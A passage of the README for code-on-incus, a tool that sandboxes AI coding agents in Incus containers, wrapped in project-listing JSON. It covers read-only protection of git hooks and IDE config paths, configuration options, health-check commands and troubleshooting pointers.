guide](https://github.com/mensfeld/code-on-incus/wiki/Security-Best-Practices) for detailed security recommendations.\n\n**Automatic Protection of Security-Sensitive Paths (Default):**\n\nCOI automatically mounts security-sensitive paths as read-only to prevent containers from modifying files that could execute automatically on your host:\n\n```bash\ncoi shell                      # Protected paths mounted read-only (default)\ncoi shell --writable-git-hooks # Opt-out (disables all protection)\n```\n\n**Default protected paths:**\n- `.git/hooks` - Git hooks execute on commits, pushes, etc.\n- `.git/config` - Can set `core.hooksPath` to bypass hooks protection\n- `.husky` - Husky git hooks manager\n- `.vscode` - VS Code `tasks.json` can auto-execute, `settings.json` can inject shell args\n\n**Why this matters:** These paths contain files that execute automatically on your host system. If a container could modify them, malicious code could be injected that runs when you commit, open your IDE, or perform other operations. COI blocks these attack vectors by default.\n\n**Customize protected paths via config:**\n```toml\n# ~/.config/coi/config.toml\n[security]\n# Add additional paths without replacing defaults\nadditional_protected_paths = [\".idea\", \"Makefile\"]\n\n# Or replace the default list entirely\n# protected_paths = [\".git/hooks\", \".git/config\"]\n\n# Disable all protection (not recommended)\n# disable_protection = true\n```\n\n**Legacy option - Enable writable hooks via config:**\n```toml\n# ~/.config/coi/config.toml\n[git]\nwritable_hooks = true  # Disables all path protection\n```\n\n**Additional protection - Disable git hooks when committing AI-generated code:**\n```bash\n# Commit with hooks disabled (extra safety layer)\ngit -c core.hooksPath=/dev/null commit --no-verify -m \"your message\"\n\n# Or create an alias\nalias gcs='git -c core.hooksPath=/dev/null commit --no-verify'\n```\n\n## System Health Check\n\nSee the [System Health Check guide](https://github.com/mensfeld/code-on-incus/wiki/System-Health-Check) for detailed information on diagnostics and what's checked.\n\n**Run diagnostics:**\n```bash\ncoi health                    # Basic health check\ncoi health --format json      # JSON output\ncoi health --verbose          # Additional checks\n```\n\n**What it checks:** System info, Incus setup, permissions, network configuration, storage, and running containers.\n\n**Exit codes:** 0 (healthy), 1 (degraded), 2 (unhealthy)\n\n## Troubleshooting\n\nSee the [Troubleshooting guide](https://github.com/mensfeld/code-on-incus/wiki/Troubleshooting) for common issues and solutions.\n\n**Common issues:**\n- **DNS issues during build** - COI automatically fixes systemd-resolved conflicts\n- Run `coi health` to diagnose setup problems\n- Check the troubleshooting guide for detailed solutions\n## Frequently Asked Questions\n\nSee the [FAQ](https://github.com/mensfeld/code-on-incus/wiki/FAQ) for answers to common questions.\n\n**Topics covered:**\n- How COI compares to Docker Sandboxes and DevContainers\n- Windows support (WSL2)\n- Security model and prompt injection protection\n- API key security and trust model\n- What is Incus? (vs tmux)\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmensfeld%2Fcode-on-incus","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fmensfeld%2Fcode-on-incus","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fmensfeld%2Fcode-on-incus/lists"}